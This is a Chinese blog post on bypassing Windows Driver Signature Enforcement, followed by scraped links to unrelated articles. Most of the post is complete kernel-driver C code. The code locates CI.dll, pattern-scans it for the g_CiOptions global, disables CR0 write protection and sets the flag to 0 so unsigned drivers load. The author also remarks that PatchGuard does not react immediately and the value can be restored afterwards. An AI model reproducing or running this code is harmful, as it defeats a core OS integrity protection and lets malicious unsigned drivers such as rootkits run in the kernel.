一丶简介

现在的驱动,必须都有签名才能加载.那么如何加载无签名的驱动模块那.

下面可以说下方法.但是挺尴尬的是,代码必须在驱动中编写.所以就形成了

你必须一个驱动带有一个签名加载进去.执行你的代码.pass掉DSE之后以后加载驱动就可以完全不用签名了.

原理:

原理就是Path一下CI内核模块.将一个全局变量置为0即可.但是受PG保护.不过PG要检测这个位置不会立刻保护.所以可以修改完加载完你的无驱动签名的驱动.然后修改回来即可.

全局变量有三个. 0 6 8 0代表禁用 6代表开启. 8代表可以加载测试签名.

二丶逆向CI.dll寻找Path位置.

既然上面说了.是修改一个全局变量.那么打开CI看看修改那个即可.

结果

虽然提示你需要签名.但是可以用PChunter看到.其实已经加载了.

一共三个值. 0 6 8 6代表开启驱动签名 0代表关闭 8 代表开启测试驱动签名

代码:


#include "Driver.h"
#include <wdm.h> //KLDR_DATA_TABLE_ENTRY typedef struct _LDR_DATA_TABLE_ENTRY {
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
USHORT LoadCount;
USHORT TlsIndex;
union {
LIST_ENTRY HashLinks;
struct {
PVOID SectionPointer;
ULONG CheckSum;
};
};
union {
struct {
ULONG TimeDateStamp;
};
struct {
PVOID LoadedImports;
};
};
}LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; VOID IteratorModule(PDRIVER_OBJECT pDriverObj)
{
PLDR_DATA_TABLE_ENTRY pLdr = NULL;
PLIST_ENTRY pListEntry = NULL;
PLIST_ENTRY pCurrentListEntry = NULL; PLDR_DATA_TABLE_ENTRY pCurrentModule = NULL;
pLdr = (PLDR_DATA_TABLE_ENTRY)pDriverObj->DriverSection;
pListEntry = pLdr->InLoadOrderLinks.Flink;
pCurrentListEntry = pListEntry->Flink; while (pCurrentListEntry != pListEntry) //前后不相等
{
//获取LDR_DATA_TABLE_ENTRY结构
pCurrentModule = CONTAINING_RECORD(pCurrentListEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks); if (pCurrentModule->BaseDllName.Buffer != 0)
{
DbgPrint("ModuleName = %wZ ModuleBase = %p ModuleEndBase = %p\r\n",
pCurrentModule->BaseDllName,
pCurrentModule->DllBase,
(LONGLONG)pCurrentModule->DllBase + pCurrentModule->SizeOfImage);
}
pCurrentListEntry = pCurrentListEntry->Flink;
}
} LONGLONG GetModuleBaseByName(PDRIVER_OBJECT pDriverObj,UNICODE_STRING ModuleName)
{
PLDR_DATA_TABLE_ENTRY pLdr = NULL;
PLIST_ENTRY pListEntry = NULL;
PLIST_ENTRY pCurrentListEntry = NULL; PLDR_DATA_TABLE_ENTRY pCurrentModule = NULL;
pLdr = (PLDR_DATA_TABLE_ENTRY)pDriverObj->DriverSection;
pListEntry = pLdr->InLoadOrderLinks.Flink;
pCurrentListEntry = pListEntry->Flink; while (pCurrentListEntry != pListEntry) //前后不相等
{
//获取LDR_DATA_TABLE_ENTRY结构
pCurrentModule = CONTAINING_RECORD(pCurrentListEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks); if (pCurrentModule->BaseDllName.Buffer != 0)
{
UNICODE_STRING uCmp1 = RTL_CONSTANT_STRING(L"HelloWorld");
UNICODE_STRING uCmp2 = RTL_CONSTANT_STRING(L"HelloWorld");
if (RtlCompareUnicodeString(&pCurrentModule->BaseDllName, &ModuleName, TRUE) == 0)
{
DbgPrint("ModuleName = %wZ ModuleBase = %p ModuleEndBase = %p\r\n",
pCurrentModule->BaseDllName,
pCurrentModule->DllBase,
(LONGLONG)pCurrentModule->DllBase + pCurrentModule->SizeOfImage);
return (LONGLONG)pCurrentModule->DllBase;
} }
pCurrentListEntry = pCurrentListEntry->Flink;
}
return 0;
} typedef struct _BASEMANGER
{
LONGLONG StartBase;
LONGLONG EndBase;
}BASEMANGER,*PBASEMANGER; BASEMANGER GetModuleBaseByNames(PDRIVER_OBJECT pDriverObj, UNICODE_STRING ModuleName)
{
PLDR_DATA_TABLE_ENTRY pLdr = NULL;
PLIST_ENTRY pListEntry = NULL;
PLIST_ENTRY pCurrentListEntry = NULL; PLDR_DATA_TABLE_ENTRY pCurrentModule = NULL;
pLdr = (PLDR_DATA_TABLE_ENTRY)pDriverObj->DriverSection;
pListEntry = pLdr->InLoadOrderLinks.Flink;
pCurrentListEntry = pListEntry->Flink;
BASEMANGER BaseManger = { 0 };
while (pCurrentListEntry != pListEntry) //前后不相等
{
//获取LDR_DATA_TABLE_ENTRY结构
pCurrentModule = CONTAINING_RECORD(pCurrentListEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks); if (pCurrentModule->BaseDllName.Buffer != 0)
{
UNICODE_STRING uCmp1 = RTL_CONSTANT_STRING(L"HelloWorld");
UNICODE_STRING uCmp2 = RTL_CONSTANT_STRING(L"HelloWorld");
if (RtlCompareUnicodeString(&pCurrentModule->BaseDllName, &ModuleName, TRUE) == 0)
{ DbgPrint("ModuleName = %wZ ModuleBase = %p ModuleEndBase = %p\r\n",
pCurrentModule->BaseDllName,
pCurrentModule->DllBase,
(LONGLONG)pCurrentModule->DllBase + pCurrentModule->SizeOfImage); BaseManger.StartBase = (LONGLONG)pCurrentModule->DllBase;
BaseManger.EndBase = (LONGLONG)pCurrentModule->DllBase + pCurrentModule->SizeOfImage;
return BaseManger;
} }
pCurrentListEntry = pCurrentListEntry->Flink;
}
BaseManger.StartBase = 0;
BaseManger.EndBase = 0;
return BaseManger;
} //核心实现代码
DWORD64 g_CiOptionsAddress;
int g_CiOptions = 6; KIRQL WPOFFx64()
{
KIRQL irql = KeRaiseIrqlToDpcLevel();
UINT64 cr0 = __readcr0();
cr0 &= 0xfffffffffffeffff;
_disable();
__writecr0(cr0);
return irql;
} KIRQL DisableMemProtected()
{
KIRQL irql = KeRaiseIrqlToDpcLevel();
UINT64 cr0 = __readcr0();
cr0 &= 0xfffffffffffeffff;
_disable();
__writecr0(cr0);
return irql;
} void EnbaleMemProtected(KIRQL irql)
{
UINT64 cr0 = __readcr0();
cr0 |= 0x10000;
_enable();
__writecr0(cr0);
KeLowerIrql(irql);
}
BOOLEAN DisableDse(DWORD64 CiStartAddress, DWORD64 CiEndAddress)
{
UNICODE_STRING FunctionName = RTL_CONSTANT_STRING(L"PsGetCurrentProcess");
DWORD64 PsGetCurrentProcessAddress = (DWORD64)MmGetSystemRoutineAddress(&FunctionName);
DWORD64 SerchAddress = CiStartAddress;
DWORD64 Address;
KIRQL Myirql;
int nCount = 0;
int isFind = 0;
int i = 0;
int isRead = 1;
if (SerchAddress == 0)
{
return 0;
}
__try
{
KIRQL irql = KeRaiseIrqlToDpcLevel();
while (SerchAddress++)
{
if (SerchAddress + 2 > CiEndAddress)
{
break;
} isRead = 1;
for (i = 0; i < 2; i++)
{
if (MmIsAddressValid((PDWORD64)SerchAddress + i) == FALSE)
{
isRead = 0;
break;
}
} if (isRead == 1)
{
if (*(PUSHORT)(SerchAddress) == 0x15ff)
{
Address = SerchAddress + *(PLONG)(SerchAddress + 2) + 6;
if (MmIsAddressValid((PDWORD64)Address))
{
if (*(PDWORD64)Address == PsGetCurrentProcessAddress)
{
while (nCount < 100)
{
nCount++;
SerchAddress--;
if (*(PUSHORT)(SerchAddress) == 0x0d89)
{
isFind = 1;
break;
}
}
break;
}
} }
}
}
KeLowerIrql(irql);
}
__except (1)
{
DbgPrint("搜索数据失败!");
}
if (isFind == 1)
{
//DbgPrint("SerchAddress:%p\n", SerchAddress);
g_CiOptionsAddress = SerchAddress + *(PLONG)(SerchAddress + 2) + 6;
g_CiOptions = *(PLONG)g_CiOptionsAddress;
DbgPrint("地址:%p 初始化值数据:%08X\n", g_CiOptionsAddress, g_CiOptions);
Myirql = DisableMemProtected();
*(PLONG)g_CiOptionsAddress = 0; //DisableDse 修改为0即可.
DbgPrint("地址:%p 修改数据为:%08X\n", g_CiOptionsAddress, *(PLONG)g_CiOptionsAddress);
EnbaleMemProtected(Myirql);
return TRUE;
}
else
{
DbgPrint("搜索数据失败!\n");
return FALSE;
}
}
void EnbalDse() //开启DSE保护
{
KIRQL Myirql;
Myirql = DisableMemProtected();
*(PLONG)g_CiOptionsAddress = 6; //DisableDse 修改为6即可.
DbgPrint("开启签名验证成功.值修改为 %d \r\n", *(PLONG)g_CiOptionsAddress);
EnbaleMemProtected(Myirql); } NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObj, PUNICODE_STRING pRegPath)
{
ULONG iCount = 0;
NTSTATUS ntStatus;
UNICODE_STRING uModuleName;
BASEMANGER Base = { 0 };
RtlInitUnicodeString(&uModuleName, L"CI.dll");
pDriverObj->DriverUnload = DriverUnLoad; Base = GetModuleBaseByNames(pDriverObj, uModuleName);
if (Base.StartBase != 0 && Base.EndBase != 0)
{
DisableDse(Base.StartBase, Base.EndBase);//传入CI基址 CICiEndAddress
//EnbalDse(); //关闭DSE
} return STATUS_SUCCESS;
}

ps: 文章是原创.但是核心原理是参考了一个看流星论坛的一个大佬的。自己将它的代码拷贝了下来稍微改了改。加了遍历模块代码而已。

原理就是Path CI. 大佬的代码就是寻找特征定位全局变量。既然知道原理了。那么定位的话就抄一下了。

另一篇文章是参考了 安全客的一个漏洞文章。现在找不到了。另一篇所讲的是 标志有三种 0 6 8 0是禁用 6是开启 8是启动测试签名。所以在这里直接使用了。

内核过DSE驱动签名验证.的更多相关文章

  1. 基于ubuntu-2.6.35内核的SDIO-WiFi驱动移植

    一.移植环境:        1.主机:Ubuntu 10.10发行版        2.目标机:FS_S5PC100平台        3.交叉编译工具:arm-cortex_a8-linux-gn ...

  2. Windows内核安全与驱动开发

    这篇是计算机中Windows Mobile/Symbian类的优质预售推荐<Windows内核安全与驱动开发>. 编辑推荐 本书适合计算机安全软件从业人员.计算机相关专业院校学生以及有一定 ...

  3. linux内核SPI总线驱动分析(一)(转)

    linux内核SPI总线驱动分析(一)(转) 下面有两个大的模块: 一个是SPI总线驱动的分析            (研究了具体实现的过程) 另一个是SPI总线驱动的编写(不用研究具体的实现过程) ...

  4. 【转】 linux内核移植和驱动添加(三)

    原文网址:http://blog.chinaunix.net/uid-29589379-id-4708909.html 原文地址:linux内核移植和驱动添加(三) 作者:genehang 四,LED ...

  5. hisi3559的usb无线网卡驱动(rtl8192cu)(一条龙服务:内核编译、驱动编译、iw等工具编译)

    usb无线网卡驱动(rtl8192cu) 内核编译.驱动编译.iw等工具编译  (哈哈,如果有其他问题,麻烦留言:) 环境 板卡:hi3559av100(arm64) 交叉编译链:aarch64-hi ...

  6. Linux系统调用怎么和内核或底层驱动交互的

    学习Linux系统下驱动程序开发已有大半年时间,心中一直有个疑惑:那就是诸如open.write.read等系统调用是怎么和内核或底层驱动建立起联系的呢?今天将自己的一些粗略的理解总结如下.      ...

  7. Linux内核调用I2C驱动_驱动嵌套驱动方法

    禁止转载!!!! Linux内核调用I2C驱动_以MPU6050为例 0. 导语 最近一段时间都在恶补数据结构和C++,加上导师的事情比较多,Linux内核驱动的学习进程总是被阻碍.不过,十一假期终于 ...

  8. 《windows内核安全与驱动开发》ctrl2cap中的ObReferenceObjectByName疑问

    国内有关于windows内核驱动这块的书籍实在是甚少,不过好在<windows内核安全与驱动开发>这本书还算不错(内容方面),但是不得不说这本书在许多地方存在着一些细节上的问题.比如我今天 ...

  9. linux字符设备驱动中内核如何调用驱动入口函数 一点记录

    /* 内核如何调用驱动入口函数 ? *//* 答: 使用module_init()函数,module_init()函数定义一个结构体,这个结构体里面有一个函数指针,指向first_drv_init() ...

随机推荐

  1. quota - linux磁盘配额管理

    磁盘管理系列 linux磁盘管理系列一:磁盘配额管理   http://www.cnblogs.com/zhaojiedi1992/p/zhaojiedi_linux_040_quota.html l ...

  2. MFC 解决绘图时闪烁问题的一点经验

    2015-05 由于作图过于复杂和频繁,所以时常出现闪烁的情况,一些防止闪烁的方法,如下: (1)将Invalidate()替换为InvalidateRect(). Invalidate()会导致整个 ...

  3. 去除vue项目地址栏中的#

    在router文件夹下的index.js中的router实例中添加mode属性,值设置为history export default new Router({ mode:"history&q ...

  4. JavaScript 之 navigator 对象

    navigator 对象可以查看用户所使用的浏览器类型和系统平台类型. 1.userAgent  通过 userAgent 可以判断用户浏览器的类型. Chrome 浏览器效果: 2.platform ...

  5. FastJson实现复杂对象序列化与反序列化

    原文:http://blog.csdn.net/xqhadoop/article/details/62217954 一.认识FastJson 1.优势 fastjson是目前java语言中最快的jso ...

  6. css 带换行的垂直居中

    span{ display:flex; justify-content:left; align-items:center; height:100%; width:100%; }

  7. Mysql基础。

    之前学SQL server的时候简单学过SQL的一点基础,Mysql就直接从外键约束开始继续学. 外键约束:foreign key 让表与表产生关系,从而保证数据的正确性. 1.在创建表时添加外键: ...

  8. 环境搭建:添加 xgboost 到 Anaconda

    原文参考:https://blog.csdn.net/lvsehaiyang1993/article/details/80619495 原文博主:Big_quant

  9. ubuntu用samba来实现和虚拟机的文件共享

    1.安装samba sudo apt install -y samba sudo cp /etc/samba/smb.conf /etc/samba/smb.conf.bak 2.创建文件夹并修改权限 ...

  10. pandas知识点脑图汇总

    参考文献: [1]Pandas知识点脑图汇总